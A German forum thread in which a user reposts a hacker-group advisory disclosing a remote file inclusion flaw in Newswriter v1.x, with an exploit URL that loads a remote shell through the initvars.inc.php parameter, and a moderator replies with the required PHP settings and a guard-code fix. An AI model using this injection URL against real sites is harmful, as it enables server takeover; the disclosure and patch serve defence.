[FOUND BUG] Newswriter v1.x (initvars.inc.php) Remote File Inclusion

[Darkskill]

Hallo bitte so schnell wie möglich fixxen da ich leider keine supportmail oder sowas gefunden habe muss ich das leider hier adden

Code:

################################################################################​##############################
#                             **           ****   ****          ******                                       #
#                            ***          */// * */// *        //////*                                       #
#                           //**  **   **/    /*/    /* **   **     /*                                       #
#                            /** //** **    ***    *** //** **      *                                        #
#                            /**  //***    /// *  /// * //***      *                                         #
#                            /**   **/**  *   /* *   /*  **/**    *                                          #
#                            **** ** //**/ **** / ****  ** //**  *                                           #
#                           //// //   //  ////   ////  //   //  /                                            #
################################################################################​##############################
#                          ??           PROUDLY TO PRESENT:         ???                                      #
#            ? ?? ????????????????????????????????????????????????????????????????????? ?? ?                 #
#                          Newswriter v1.x (initvars.inc.php) Remote File Inclusion                          #
#            ? ?? ????????????????????????????????????????????????????????????????????? ?? ?                 #
#             ????????  [ SUPPLiER ..................................... 1x33x7            ]  ????????       #
#             ???????   [ Founder ...................................... Bloodman          ]   ???????       #
#             ??????    [ Company/Coder ................................ faqboard???       ]    ??????       #
#             ?????     [ Web-Script ................................... Newswriter v1.x   ]     ?????       #
#             ????      [ Bug .......................................... RFI               ]      ????       #
#             ???       [ Security Risk ................................ Very High         ]       ???       #
#             ???       [ RELEASE DATE ................................. 2009-01-21        ]        ??       #
#             ??????           ?????            Bug/Info:           ?????            ??????                  #
#        ?????                                Hello guys,                                        ?????       #
#       ????? I found a Remote File Inclusion Bug in Newswriter SW 1.x the                       ?????       #
#       ????? php file initvars.inc.php produce an error and will give you                       ?????       #
#       ????? something like this :                                                              ?????       #
#       ????? Warning: main(): Failed opening 'language/.lang' for inclusion (include_path='.')  ?????       #
#       ????? in /srv/www/htdocs/web344/html/news/include/initvars.inc.php on line 142           ?????       #
#       ????? Error loading language file                                                        ?????       #
#       ?????                                                                                    ?????       #
#       ?????   This Remote File Iclusion should work on all Newswriter v1.x test your version   ?????       #
#       ?????                                    Bug :                                           ?????       #
#       ?????              /news/include/initvars.inc.php?NWCONF_SYSTEM[server_path]=            ?????       #
#       ?????                                Exploit :                                           ?????       #
#       ????? www.victim.com/news/include/initvars.inc.php?NWCONF_SYSTEM[server_path]=SHELL      ?????       #
#       ?????                                   Dork :                                           ?????       #
#       ?????                         find your own dork to find Newswriter                      ?????       #
#            ?????                                                                          ?????            #
#             ??????           ?????            Gr33tz:             ?????            ??????                  #
#            ??????? ???           - all 1x33x7 members                          ??? ???????                 #
#            ??????? ???           - all XSS-Crew members                        ??? ???????                 #
#            ??????? ???           - all uNkn0wn members                         ??? ???????                 #
#            ??????? ???           - all ratnetwork members                      ??? ???????                 #
#            ??????? ???           - all others i forgot :)                      ??? ???????                 #
#            ??????           ?????         Special Gr33tz:         ?????            ??????                  #
#            ??????? ???           - Baba,Apu,Madda,Willi,S0l1d,                 ??? ???????                 #
#            ??????? ???             Ic3Drag0n,Fink,iD,Bronco,Rat                ??? ???????                 #
#            ??????? ???             All other i have forgot :)                  ??? ???????                 #
#            ??????? ???                                                         ??? ???????                 #
#              ????   ?????????                                           ?????????   ????                   #
#                    ????   ?????????                               ?????????   ????                         #
#                         ????    ?????????                     ?????????   ????                             #
#                                ????   ????????? BYE ALL ?????????   ????                                   #
################################################################################​##############################

wünsche noch einen schönen tag

[basti]

Verschoben weil: Wenn dann ist es ein Bug und keine News.

[basti]

Zum Bug: Das ganze funktioniert natürlich nur, wenn url_fopen = on ist und register_globals = on.
Bitte folgendes in die initvars.inc.php einfügen:

Zitat:if(!defined('HAUPTSEITE')) {
header("Location: ../index.php");
exit;
}

Damit ist das dann kein Problem mehr.